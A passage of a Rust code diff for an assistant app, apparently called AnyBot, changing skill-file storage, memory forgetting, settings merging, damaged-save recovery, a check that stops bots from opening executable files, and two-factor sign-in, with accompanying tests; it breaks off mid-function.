// same words as the success one.
|
||||||
|
if cfg!(target_os = "windows") {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let all = [
|
||||||
|
("volume", "up"), ("volume", "down"), ("volume", "mute"), ("volume", "unmute"), ("volume", "set 40"), ("volume", "40"),
|
||||||
|
("wifi", "on"), ("wifi", "off"), ("lock", ""), ("dark", "dark"), ("dark", "light"), ("dark", "toggle"), ("trash", ""), ("eject", ""),
|
||||||
|
];
|
||||||
|
for (name, arg) in all {
|
||||||
|
let sh = script(name, arg).unwrap();
|
||||||
|
let out = std::process::Command::new("/bin/sh").arg("-n").arg("-c").arg(&sh).output().unwrap();
|
||||||
|
assert!(out.status.success(), "{name} {arg}: {}\n{sh}", String::from_utf8_lossy(&out.stderr));
|
||||||
|
// Each system gets its own command, in its own branch.
|
||||||
|
let (mac, linux) = sh.split_once(" ;; Linux) ").unwrap();
|
||||||
|
assert!(mac.starts_with("case \"$(uname -s)\" in Darwin) ") && mac.len() > 40 && linux.ends_with(" ;; esac") && linux.len() > 20, "{sh}");
|
||||||
|
}
|
||||||
|
// Every registered shortcut is covered above.
|
||||||
|
for i in INTENTS {
|
||||||
|
assert!(all.iter().any(|(n, _)| *n == i.name), "{}", i.name);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -54,9 +54,24 @@ pub const TEMPLATES: [Template; 5] = [
|
||||||
/// as the body, and an optional ```steps fence (the ReplayStep list a replay follows).
|
/// as the body, and an optional ```steps fence (the ReplayStep list a replay follows).
|
||||||
|
|
||||||
pub fn skill_dir() -> std::path::PathBuf {
|
pub fn skill_dir() -> std::path::PathBuf {
|
||||||
|
// Tests never touch the person's data folder.
|
||||||
|
if cfg!(test) {
|
||||||
|
return crate::oplog::dir().join("skills");
|
||||||
|
}
|
||||||
|
crate::model::State::path().parent().map(|p| p.join("skills")).unwrap_or_else(old_skill_dir)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Where skill files were kept before (inside the work log's folder, which no document
|
||||||
|
/// mentioned): still read, so a skill installed then is not lost.
|
||||||
|
fn old_skill_dir() -> std::path::PathBuf {
|
||||||
crate::oplog::dir().join("skills")
|
crate::oplog::dir().join("skills")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn skill_dirs() -> Vec<std::path::PathBuf> {
|
||||||
|
let (old, new) = (old_skill_dir(), skill_dir());
|
||||||
|
if old == new { vec![new] } else { vec![old, new] }
|
||||||
|
}
|
||||||
|
|
||||||
fn slug_of(name: &str) -> String {
|
fn slug_of(name: &str) -> String {
|
||||||
let mut o: String = name
|
let mut o: String = name
|
||||||
.chars()
|
.chars()
|
||||||
|
|
@ -97,11 +112,12 @@ pub fn parse_skill_file(text: &str) -> Option<Skill> {
|
||||||
description = v.trim().to_string();
|
description = v.trim().to_string();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
rest = body[end + 3..].trim_start_matches('\n');
|
// "\n---" is four bytes (three left the last dash at the head of the instructions).
|
||||||
|
rest = body[end + 4..].trim_start_matches('\n');
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let mut steps: Vec<ReplayStep> = vec![];
|
let mut steps: Vec<ReplayStep> = vec![];
|
||||||
let mut instructions = rest.to_string();
|
let mut instructions = rest.trim().to_string();
|
||||||
if let Some(start) = rest.find("```steps") {
|
if let Some(start) = rest.find("```steps") {
|
||||||
if let Some(close) = rest[start..].find("```") {
|
if let Some(close) = rest[start..].find("```") {
|
||||||
// close is at the fence start inside rest[start..]; find the *second* fence
|
// close is at the fence start inside rest[start..]; find the *second* fence
|
||||||
|
|
@ -127,24 +143,37 @@ pub fn install_skill_text(text: &str) -> Result<String, String> {
|
||||||
Ok(s.name)
|
Ok(s.name)
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn load_skill_files() -> Vec<Skill> {
|
/// Every skill file with the skill in it (the old folder first: the same name in `skill_dir`
|
||||||
|
/// is the newer one and wins the merge).
|
||||||
|
fn skill_files() -> Vec<(std::path::PathBuf, Skill)> {
|
||||||
let mut out = vec![];
|
let mut out = vec![];
|
||||||
if let Ok(rd) = std::fs::read_dir(skill_dir()) {
|
for dir in skill_dirs() {
|
||||||
for f in rd.flatten() {
|
let mut here = vec![];
|
||||||
|
for f in std::fs::read_dir(dir).into_iter().flatten().flatten() {
|
||||||
let p = f.path();
|
let p = f.path();
|
||||||
if p.extension().and_then(|e| e.to_str()) == Some("md") {
|
if p.extension().and_then(|e| e.to_str()) == Some("md") {
|
||||||
if let Ok(text) = std::fs::read_to_string(&p) {
|
if let Some(s) = std::fs::read_to_string(&p).ok().and_then(|text| parse_skill_file(&text)) {
|
||||||
if let Some(s) = parse_skill_file(&text) {
|
here.push((p, s));
|
||||||
out.push(s);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
here.sort_by(|a, b| a.1.name.cmp(&b.1.name));
|
||||||
|
out.extend(here);
|
||||||
}
|
}
|
||||||
}
|
|
||||||
out.sort_by(|a, b| a.name.cmp(&b.name));
|
|
||||||
out
|
out
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn load_skill_files() -> Vec<Skill> {
|
||||||
|
skill_files().into_iter().map(|(_, s)| s).collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Take a deleted skill's files off the shelf, whatever they are called (a file left there
|
||||||
|
/// brought the skill back at the next start). Returns how many went.
|
||||||
|
pub fn remove_skill_files(name: &str) -> usize {
|
||||||
|
let name = name.trim();
|
||||||
|
skill_files().into_iter().filter(|(p, s)| s.name == name && std::fs::remove_file(p).is_ok()).count()
|
||||||
|
}
|
||||||
|
|
||||||
/// Files win: a skill file replaces the same-named skill in the bot's head at every start.
|
/// Files win: a skill file replaces the same-named skill in the bot's head at every start.
|
||||||
pub fn merge_skill_files(skills: &mut Vec<Skill>) -> usize {
|
pub fn merge_skill_files(skills: &mut Vec<Skill>) -> usize {
|
||||||
let mut n = 0;
|
let mut n = 0;
|
||||||
|
|
@ -240,13 +269,14 @@ pub fn remember(list: &mut Vec<String>, fact: &str) -> Result<String, String> {
|
||||||
Ok(format!("記住了:{f}"))
|
Ok(format!("記住了:{f}"))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Forget by number (1-based) or by text it contains.
|
/// Forget by the memory's own words, by its number in the whole list (1-based: the list in
|
||||||
|
/// the settings, never the few lines a prompt carries), or by text it contains.
|
||||||
pub fn forget(list: &mut Vec<String>, what: &str) -> Result<String, String> {
|
pub fn forget(list: &mut Vec<String>, what: &str) -> Result<String, String> {
|
||||||
let w = what.trim();
|
let w = what.trim();
|
||||||
let idx = match w.parse::<usize>() {
|
let idx = list.iter().position(|m| !w.is_empty() && m == w).or_else(|| match w.parse::<usize>() {
|
||||||
Ok(n) if n >= 1 && n <= list.len() => Some(n - 1),
|
Ok(n) if n >= 1 && n <= list.len() => Some(n - 1),
|
||||||
_ => list.iter().position(|m| !w.is_empty() && m.contains(w)),
|
_ => list.iter().position(|m| !w.is_empty() && m.contains(w)),
|
||||||
};
|
});
|
||||||
match idx {
|
match idx {
|
||||||
Some(i) => Ok(format!("忘記了:{}", list.remove(i))),
|
Some(i) => Ok(format!("忘記了:{}", list.remove(i))),
|
||||||
None => Err(format!("沒有記得「{w}」這件事")),
|
None => Err(format!("沒有記得「{w}」這件事")),
|
||||||
|
|
@ -442,9 +472,11 @@ pub fn recall(bot: u64, query: &str, list: &[String], limit: usize) -> Vec<Strin
|
||||||
pub fn prompt_section(memories: &[String], skills: &[Skill]) -> String {
|
pub fn prompt_section(memories: &[String], skills: &[Skill]) -> String {
|
||||||
let mut s = String::new();
|
let mut s = String::new();
|
||||||
if !memories.is_empty() {
|
if !memories.is_empty() {
|
||||||
s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增、forget 刪除):\n");
|
// No numbers: these are a few lines of the list, and a number here would be another
|
||||||
for (i, m) in memories.iter().enumerate() {
|
// memory's place in the whole list (forget would take the wrong one).
|
||||||
s.push_str(&format!("{}. {m}\n", i + 1));
|
s.push_str("\n\n你記得的事(和這件事最相關的幾條;完整清單在「設定 › 記得的事」,用 remember 新增;要刪除時把那一條的文字交給 forget):\n");
|
||||||
|
for m in memories {
|
||||||
|
s.push_str(&format!("- {m}\n"));
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
s.push_str("\n\n使用者說「記住…」「以後都…」時,用 remember 記下來;說「忘記…」時用 forget。");
|
s.push_str("\n\n使用者說「記住…」「以後都…」時,用 remember 記下來;說「忘記…」時用 forget。");
|
||||||
|
|
@ -521,7 +553,14 @@ mod tests {
|
||||||
assert_eq!(m.len(), MAX_MEMORIES);
|
assert_eq!(m.len(), MAX_MEMORIES);
|
||||||
assert_eq!(m[0], "事 5");
|
assert_eq!(m[0], "事 5");
|
||||||
let p = prompt_section(&m[..1], &[Skill { name: "週報".into(), description: "整理每週進度".into(), instructions: "…".into(), steps: vec![] }]);
|
let p = prompt_section(&m[..1], &[Skill { name: "週報".into(), description: "整理每週進度".into(), instructions: "…".into(), steps: vec![] }]);
|
||||||
assert!(p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill"));
|
assert!(p.contains("- 事 5\n") && !p.contains("1. 事 5") && p.contains("- 週報:整理每週進度") && p.contains("use_skill"));
|
||||||
|
// A memory that is itself a number is forgotten by its words, not as a place in the list.
|
||||||
|
let mut m = vec!["甲".to_string(), "2".to_string(), "丙".to_string(), "乙".to_string()];
|
||||||
|
assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:2");
|
||||||
|
assert_eq!(forget(&mut m, "2").unwrap(), "忘記了:丙");
|
||||||
|
// The whole line wins over a line that merely contains it.
|
||||||
|
let mut m = vec!["不喝咖啡因".to_string(), "咖啡".to_string()];
|
||||||
|
assert_eq!(forget(&mut m, "咖啡").unwrap(), "忘記了:咖啡");
|
||||||
}
|
}
|
||||||
|
|
||||||
fn call(id: &str, name: &str, args: &str, failed: bool) -> crate::model::ToolCall {
|
fn call(id: &str, name: &str, args: &str, failed: bool) -> crate::model::ToolCall {
|
||||||
|
|
@ -613,6 +652,15 @@ mod tests {
|
||||||
let back = parse_skill_file(&text).unwrap();
|
let back = parse_skill_file(&text).unwrap();
|
||||||
assert_eq!(back.name, "每日打卡");
|
assert_eq!(back.name, "每日打卡");
|
||||||
assert_eq!(back.steps, sk.steps);
|
assert_eq!(back.steps, sk.steps);
|
||||||
|
// The words come back as written, with or without a steps block after them.
|
||||||
|
assert_eq!((back.description.as_str(), back.instructions.as_str()), ("在下載資料夾記一天", "打開終端機記個日期"));
|
||||||
|
let plain = parse_skill_file(&skill_to_file(&Skill { steps: vec![], ..sk.clone() })).unwrap();
|
||||||
|
assert_eq!(plain.instructions, "打開終端機記個日期");
|
||||||
|
// The example files in the repo read cleanly too.
|
||||||
|
for f in std::fs::read_dir(concat!(env!("CARGO_MANIFEST_DIR"), "/skills")).unwrap().flatten() {
|
||||||
|
let s = parse_skill_file(&std::fs::read_to_string(f.path()).unwrap()).unwrap();
|
||||||
|
assert!(!s.instructions.is_empty() && !s.instructions.starts_with('-'), "{:?}: {}", f.path(), s.instructions);
|
||||||
|
}
|
||||||
assert!(parse_skill_file("no front matter at all").is_none());
|
assert!(parse_skill_file("no front matter at all").is_none());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
150
src/model.rs
150
src/model.rs
|
|
@ -259,6 +259,55 @@ pub fn default_computer() -> String {
|
||||||
pub const INTERRUPTED_NOTE: &str = "(這次的回應被中斷了,可能是 App 關閉或重新啟動。按「重新產生」再試一次。)";
|
pub const INTERRUPTED_NOTE: &str = "(這次的回應被中斷了,可能是 App 關閉或重新啟動。按「重新產生」再試一次。)";
|
||||||
|
|
||||||
impl Bot {
|
impl Bot {
|
||||||
|
/// 「儲存」 in the bot's settings: what the person changed there (`edited`, against `from`
|
||||||
|
/// — the bot as the editor opened it) is put onto the bot as it is now. Everything else
|
||||||
|
/// stays as it is now: a turn running meanwhile gave it messages, things to remember,
|
||||||
|
/// 「永遠允許」 rules, a routine, a conversation put aside. (The editor's copy used to replace
|
||||||
|
/// the bot whole, messages aside, and all of that was gone with the save.)
|
||||||
|
/// In a list of plain values (記得的事, 永遠允許, 群組成員) what was taken out goes and what
|
||||||
|
/// was added comes; the rest of the list is as it is now.
|
||||||
|
pub fn take_edit(&mut self, mut from: Bot, mut edited: Bot) {
|
||||||
|
use serde_json::Value;
|
||||||
|
let messages = std::mem::take(&mut self.messages);
|
||||||
|
from.messages.clear();
|
||||||
|
edited.messages.clear();
|
||||||
|
let fields = |b: &Bot| serde_json::to_value(b).ok().and_then(|v| v.as_object().cloned());
|
||||||
|
let merged = (|| {
|
||||||
|
let (mut now, from, edited) = (fields(self)?, fields(&from)?, fields(&edited)?);
|
||||||
|
let plain = |v: &Value| v.as_array().is_some_and(|a| a.iter().all(|x| x.is_string() || x.is_number()));
|
||||||
|
let keys: std::collections::BTreeSet<&String> = from.keys().chain(edited.keys()).collect();
|
||||||
|
for k in keys {
|
||||||
|
let (was, is) = (from.get(k), edited.get(k));
|
||||||
|
if was == is {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
match (was, is, now.get(k)) {
|
||||||
|
(Some(was), Some(is), Some(cur)) if plain(was) && plain(is) && plain(cur) => {
|
||||||
|
let (was, is) = (was.as_array().cloned().unwrap_or_default(), is.as_array().cloned().unwrap_or_default());
|
||||||
|
let mut list: Vec<Value> = cur.as_array().cloned().unwrap_or_default();
|
||||||
|
list.retain(|x| !was.contains(x) || is.contains(x));
|
||||||
|
for x in is.iter().filter(|x| !was.contains(x)) {
|
||||||
|
if !list.contains(x) {
|
||||||
|
list.push(x.clone());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
now.insert(k.clone(), Value::Array(list));
|
||||||
|
}
|
||||||
|
(_, Some(is), _) => {
|
||||||
|
now.insert(k.clone(), is.clone());
|
||||||
|
}
|
||||||
|
// (A field left out when it is empty: emptied in the editor.)
|
||||||
|
(_, None, _) => {
|
||||||
|
now.remove(k);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
serde_json::from_value::<Bot>(Value::Object(now)).ok()
|
||||||
|
})();
|
||||||
|
*self = merged.unwrap_or(edited);
|
||||||
|
self.messages = messages;
|
||||||
|
}
|
||||||
|
|
||||||
/// A turn that was still running when the app closed can't continue: mark its empty
|
/// A turn that was still running when the app closed can't continue: mark its empty
|
||||||
/// replies and unfinished tool steps as interrupted (an `error` settlement) so the chat
|
/// replies and unfinished tool steps as interrupted (an `error` settlement) so the chat
|
||||||
/// can be retried instead of looking stuck.
|
/// can be retried instead of looking stuck.
|
||||||
|
|
@ -455,6 +504,9 @@ impl State {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// The save on disk couldn't be read at start and couldn't be moved aside: never write over it.
|
||||||
|
static KEEP_UNREAD_SAVE: std::sync::atomic::AtomicBool = std::sync::atomic::AtomicBool::new(false);
|
||||||
|
|
||||||
impl State {
|
impl State {
|
||||||
pub fn path() -> PathBuf {
|
pub fn path() -> PathBuf {
|
||||||
// A server (or a second copy for testing) can keep its data elsewhere.
|
// A server (or a second copy for testing) can keep its data elsewhere.
|
||||||
|
|
@ -468,18 +520,37 @@ impl State {
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn load() -> State {
|
pub fn load() -> State {
|
||||||
let p = Self::path();
|
Self::load_from(&Self::path())
|
||||||
let raw = std::fs::read_to_string(&p);
|
}
|
||||||
|
|
||||||
|
fn load_from(p: &std::path::Path) -> State {
|
||||||
|
let raw = std::fs::read_to_string(p);
|
||||||
let parsed = raw.as_ref().ok().and_then(|s| serde_json::from_str::<State>(s).ok());
|
let parsed = raw.as_ref().ok().and_then(|s| serde_json::from_str::<State>(s).ok());
|
||||||
let mut s = match parsed {
|
let mut s = match parsed {
|
||||||
Some(s) => s,
|
Some(s) => s,
|
||||||
None => {
|
None => {
|
||||||
|
let stamp = chrono::Utc::now().timestamp();
|
||||||
|
match raw.as_ref() {
|
||||||
// A damaged save must not vanish quietly: keep the bytes (so the person can
|
// A damaged save must not vanish quietly: keep the bytes (so the person can
|
||||||
// recover them), then start fresh. Silently wiping left no trace before.
|
// recover them), then start fresh. Silently wiping left no trace before.
|
||||||
if let Ok(raw) = raw.as_ref() {
|
Ok(raw) => {
|
||||||
let damaged = p.with_extension(format!("json.damaged-{}", chrono::Utc::now().timestamp()));
|
let damaged = p.with_extension(format!("json.damaged-{stamp}"));
|
||||||
let _ = std::fs::write(&damaged, raw);
|
let _ = std::fs::write(&damaged, raw);
|
||||||
}
|
}
|
||||||
|
// No save yet: a first run.
|
||||||
|
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
|
||||||
|
// A save that is there but can't be read (its permissions, a disk error,
|
||||||
|
// bytes that aren't text) is no first run: the next save would have written
|
||||||
|
// an empty AnyBot over it. It is moved aside whole, and if even that fails
|
||||||
|
// nothing is saved over it this run.
|
||||||
|
Err(e) => {
|
||||||
|
let aside = p.with_extension(format!("json.unreadable-{stamp}"));
|
||||||
|
eprintln!("AnyBot:讀不到 {}({e})。原檔會留著,不會被新的設定蓋掉。", p.display());
|
||||||
|
if std::fs::rename(p, &aside).is_err() {
|
||||||
|
KEEP_UNREAD_SAVE.store(true, std::sync::atomic::Ordering::SeqCst);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
State::first_run()
|
State::first_run()
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
@ -494,6 +565,10 @@ impl State {
|
||||||
/// Write everything to disk; true once it is there.
|
/// Write everything to disk; true once it is there.
|
||||||
pub fn save(&self) -> bool {
|
pub fn save(&self) -> bool {
|
||||||
let p = Self::path();
|
let p = Self::path();
|
||||||
|
// (The save that couldn't be read at start, nor moved aside, is still there.)
|
||||||
|
if KEEP_UNREAD_SAVE.load(std::sync::atomic::Ordering::SeqCst) && p.exists() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
if let Some(dir) = p.parent() {
|
if let Some(dir) = p.parent() {
|
||||||
let _ = std::fs::create_dir_all(dir);
|
let _ = std::fs::create_dir_all(dir);
|
||||||
}
|
}
|
||||||
|
|
@ -812,6 +887,43 @@ pub fn bot_computer_dir(bot_id: u64) -> PathBuf {
|
||||||
mod start_tests {
|
mod start_tests {
|
||||||
use super::*;
|
use super::*;
|
||||||
|
|
||||||
|
/// 「儲存」 in a bot's settings puts on the bot what the person changed there, and leaves
|
||||||
|
/// what the bot got while the settings were open.
|
||||||
|
#[test]
|
||||||
|
fn saving_a_bots_settings_keeps_what_it_got_meanwhile() {
|
||||||
|
let mut bot = State::samples().bots.remove(0);
|
||||||
|
bot.memories = vec!["喜歡靠窗".into(), "住台南".into()];
|
||||||
|
bot.allow_rules = vec!["edit_file".into()];
|
||||||
|
bot.messages = vec![Message::user("嗨")];
|
||||||
|
bot.voice.clear();
|
||||||
|
let from = bot.clone();
|
||||||
|
// In the editor: a new name, one memory forgotten, a voice picked.
|
||||||
|
let mut edited = from.clone();
|
||||||
|
edited.name = "新名字".into();
|
||||||
|
edited.memories.retain(|m| m != "喜歡靠窗");
|
||||||
|
edited.voice = "Meijia".into();
|
||||||
|
// Meanwhile, in the chat: an answer, something remembered, 「永遠允許」, a conversation
|
||||||
|
// put aside, a folder to work in.
|
||||||
|
bot.messages.push(Message::assistant("你好", "x"));
|
||||||
|
bot.memories.push("咖啡不加糖".into());
|
||||||
|
bot.allow_rules.push("shell:git".into());
|
||||||
|
bot.threads.push(("舊對話".into(), vec![Message::user("之前")]));
|
||||||
|
bot.workdir = "/tmp/work".into();
|
||||||
|
bot.tools_enabled = !from.tools_enabled;
|
||||||
|
bot.take_edit(from.clone(), edited);
|
||||||
|
assert_eq!((bot.name.as_str(), bot.voice.as_str()), ("新名字", "Meijia"));
|
||||||
|
assert_eq!(bot.memories, vec!["住台南".to_string(), "咖啡不加糖".to_string()]);
|
||||||
|
assert_eq!(bot.allow_rules, vec!["edit_file".to_string(), "shell:git".to_string()]);
|
||||||
|
assert_eq!((bot.messages.len(), bot.threads.len(), bot.workdir.as_str()), (2, 1, "/tmp/work"));
|
||||||
|
assert_eq!(bot.tools_enabled, !from.tools_enabled);
|
||||||
|
// A field emptied in the editor is emptied (it is left out of the file when empty).
|
||||||
|
let from = bot.clone();
|
||||||
|
let mut edited = bot.clone();
|
||||||
|
edited.voice.clear();
|
||||||
|
bot.take_edit(from, edited);
|
||||||
|
assert_eq!(bot.voice, "");
|
||||||
|
}
|
||||||
|
|
||||||
/// Folding keeps the person's chat whole: each summary goes in at its fold, and the model's
|
/// Folding keeps the person's chat whole: each summary goes in at its fold, and the model's
|
||||||
/// view starts at the newest one.
|
/// view starts at the newest one.
|
||||||
#[test]
|
#[test]
|
||||||
|
|
@ -876,4 +988,34 @@ mod start_tests {
|
||||||
let ids: std::collections::HashSet<u64> = here.bots.iter().map(|b| b.id).collect();
|
let ids: std::collections::HashSet<u64> = here.bots.iter().map(|b| b.id).collect();
|
||||||
assert_eq!(ids.len(), here.bots.len());
|
assert_eq!(ids.len(), here.bots.len());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A save that is there but can't be read is kept, not taken for a first run (the next save
|
||||||
|
/// wrote a fresh AnyBot over it).
|
||||||
|
#[test]
|
||||||
|
fn a_save_that_cannot_be_read_is_kept() {
|
||||||
|
let d = std::env::temp_dir().join(format!("anybot-load-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&d);
|
||||||
|
std::fs::create_dir_all(&d).unwrap();
|
||||||
|
let p = d.join("state.json");
|
||||||
|
let kept = |mark: &str| std::fs::read_dir(&d).unwrap().flatten().map(|e| e.path()).find(|f| f.to_string_lossy().contains(mark));
|
||||||
|
// No save at all: a first run, and nothing is set aside.
|
||||||
|
State::load_from(&p);
|
||||||
|
assert_eq!(std::fs::read_dir(&d).unwrap().count(), 0);
|
||||||
|
// Bytes that aren't text (a disk gone wrong): moved aside whole.
|
||||||
|
let bytes = [0xff, 0xfe, 0x00, 0x41, 0xff];
|
||||||
|
std::fs::write(&p, bytes).unwrap();
|
||||||
|
State::load_from(&p);
|
||||||
|
assert!(!p.exists());
|
||||||
|
assert_eq!(std::fs::read(kept("unreadable").unwrap()).unwrap(), bytes);
|
||||||
|
// Text that isn't a save: a copy is kept, as before.
|
||||||
|
std::fs::write(&p, "{ not json").unwrap();
|
||||||
|
State::load_from(&p);
|
||||||
|
assert_eq!(std::fs::read_to_string(kept("damaged").unwrap()).unwrap(), "{ not json");
|
||||||
|
// A good save loads.
|
||||||
|
let mut s = State::samples();
|
||||||
|
s.bots[0].name = "留著的".into();
|
||||||
|
std::fs::write(&p, serde_json::to_string(&s).unwrap()).unwrap();
|
||||||
|
assert_eq!(State::load_from(&p).bots[0].name, "留著的");
|
||||||
|
let _ = std::fs::remove_dir_all(&d);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -113,6 +113,37 @@ pub fn system_open(target: impl AsRef<std::ffi::OsStr>) -> std::process::Command
|
||||||
c
|
c
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Opening this file would run it (or install it) instead of showing it: scripts Terminal
|
||||||
|
/// starts on a double click, apps, installers, shortcuts that point at something else. A bot
|
||||||
|
/// may show the person what it made; it may not have their computer run what it made — that
|
||||||
|
/// is the shell's job, with the shell's questions.
|
||||||
|
pub fn runs_when_opened(p: &Path) -> bool {
|
||||||
|
const RUNS: [&str; 15] = ["command", "tool", "app", "terminal", "pkg", "mpkg", "jar", "workflow", "prefpane", "saver", "inetloc", "fileloc", "desktop", "appimage", "run"];
|
||||||
|
const RUNS_ON_WINDOWS: [&str; 17] = ["exe", "bat", "cmd", "com", "msi", "lnk", "ps1", "vbs", "vbe", "js", "jse", "wsf", "hta", "scr", "pif", "reg", "url"];
|
||||||
|
// What an executable bit doesn't turn into a program: the system opens these by their kind.
|
||||||
|
const SHOWN: [&str; 38] = [
|
||||||
|
"html", "htm", "pdf", "png", "jpg", "jpeg", "gif", "webp", "svg", "bmp", "tiff", "heic", "txt", "md", "csv", "tsv", "json", "xml", "yaml", "yml", "log", "rtf", "doc", "docx", "xls", "xlsx",
|
||||||
|
"ppt", "pptx", "pages", "numbers", "key", "mp3", "m4a", "wav", "mp4", "mov", "webm", "zip",
|
||||||
|
];
|
||||||
|
let ext = p.extension().map(|e| e.to_string_lossy().to_lowercase()).unwrap_or_default();
|
||||||
|
if RUNS.contains(&ext.as_str()) || (cfg!(target_os = "windows") && RUNS_ON_WINDOWS.contains(&ext.as_str())) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
// A file marked executable that isn't a known kind of document opens in Terminal and runs.
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
if let Ok(m) = std::fs::metadata(p) {
|
||||||
|
if m.is_file() && m.permissions().mode() & 0o111 != 0 && !SHOWN.contains(&ext.as_str()) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#[cfg(not(unix))]
|
||||||
|
let _ = SHOWN;
|
||||||
|
false
|
||||||
|
}
|
||||||
|
|
||||||
pub fn open_with_system(target: &str) {
|
pub fn open_with_system(target: &str) {
|
||||||
let mut c = system_open(target);
|
let mut c = system_open(target);
|
||||||
if let Err(e) = crate::computer::spawn_reaped(&mut c) {
|
if let Err(e) = crate::computer::spawn_reaped(&mut c) {
|
||||||
|
|
@ -723,6 +754,39 @@ mod tests {
|
||||||
let _ = std::fs::remove_dir_all(&dir);
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn showing_a_file_is_not_running_it() {
|
||||||
|
let dir = std::env::temp_dir().join(format!("anybot-opens-{}", std::process::id()));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
std::fs::create_dir_all(dir.join("Thing.app")).unwrap();
|
||||||
|
let file = |name: &str, executable: bool| {
|
||||||
|
let p = dir.join(name);
|
||||||
|
std::fs::write(&p, "#!/bin/sh\necho hi\n").unwrap();
|
||||||
|
#[cfg(unix)]
|
||||||
|
{
|
||||||
|
use std::os::unix::fs::PermissionsExt;
|
||||||
|
std::fs::set_permissions(&p, std::fs::Permissions::from_mode(if executable { 0o755 } else { 0o644 })).unwrap();
|
||||||
|
}
|
||||||
|
let _ = executable;
|
||||||
|
p
|
||||||
|
};
|
||||||
|
// What Terminal, the Finder or an installer would start.
|
||||||
|
for name in ["run.command", "RUN.COMMAND", "setup.pkg", "tool.jar", "x.terminal", "go.desktop"] {
|
||||||
|
assert!(runs_when_opened(&file(name, false)), "{name}");
|
||||||
|
}
|
||||||
|
assert!(runs_when_opened(&dir.join("Thing.app")));
|
||||||
|
// What is only shown, executable bit or not (some disks mark every file executable).
|
||||||
|
for name in ["report.html", "chart.png", "notes.md", "data.xlsx"] {
|
||||||
|
assert!(!runs_when_opened(&file(name, false)) && !runs_when_opened(&file(name, true)), "{name}");
|
||||||
|
}
|
||||||
|
assert!(!runs_when_opened(&dir), "a plain folder opens in the file manager");
|
||||||
|
assert!(!runs_when_opened(&file("script.sh", false)) && !runs_when_opened(&file("LICENSE", false)));
|
||||||
|
// An executable that isn't a document runs in Terminal when opened.
|
||||||
|
#[cfg(unix)]
|
||||||
|
assert!(runs_when_opened(&file("deploy", true)) && runs_when_opened(&file("script.sh", true)));
|
||||||
|
let _ = std::fs::remove_dir_all(&dir);
|
||||||
|
}
|
||||||
|
|
||||||
/// Every sample file in $ANYBOT_FIXTURES opens: `cargo test --release fixtures -- --ignored --nocapture`.
|
/// Every sample file in $ANYBOT_FIXTURES opens: `cargo test --release fixtures -- --ignored --nocapture`.
|
||||||
#[test]
|
#[test]
|
||||||
#[ignore]
|
#[ignore]
|
||||||
|
|
|
||||||
|
|
@ -1106,9 +1106,34 @@ fn base(url: &str) -> String {
|
||||||
url.trim().trim_end_matches('/').to_string()
|
url.trim().trim_end_matches('/').to_string()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// How the refusal starts when the account has 兩步驗證 on and no code came with the password
|
||||||
|
/// (the forms look for it to show their 驗證碼 field).
|
||||||
|
pub const NEED_CODE: &str = "這個帳號開了兩步驗證";
|
||||||
|
|
||||||
|
/// Sign in as the person: the password, then — when the account has 兩步驗證 on — the code of
|
||||||
|
/// their authenticator app (or one of the recovery codes). Gives the session.
|
||||||
|
/// (The answer to a right password is then a challenge, not a session: read as a session, it
|
||||||
|
/// was 「帳號伺服器沒有給登入憑證」, and an account with 兩步驗證 could not sign a computer in
|
||||||
|
/// or fetch its backup at all.)
|
||||||
|
fn relay_login(url: &str, user: &str, password: &str, device: &str, code: &str) -> Result<String, String> {
|
||||||
|
let v = relay_post(&format!("{url}/relay/login"), "", &json!({"user": user, "password": password, "device": device}))?;
|
||||||
|
if let Some(t) = v["token"].as_str().filter(|t| !t.is_empty()) {
|
||||||
|
return Ok(t.to_string());
|
||||||
|
}
|
||||||
|
if v["need_2fa"].as_bool() != Some(true) {
|
||||||
|
return Err("帳號伺服器沒有給登入憑證".into());
|
||||||
|
}
|
||||||
|
let code = code.trim();
|
||||||
|
if code.is_empty() {
|
||||||
|
return Err(format!("{NEED_CODE}:還要驗證器 App 現在的六位碼(或一組恢復碼)。"));
|
||||||
|
}
|
||||||
|
let v = relay_post(&format!("{url}/relay/2fa/verify"), "", &json!({"challenge": v["challenge"], "code": code}))?;
|
||||||
|
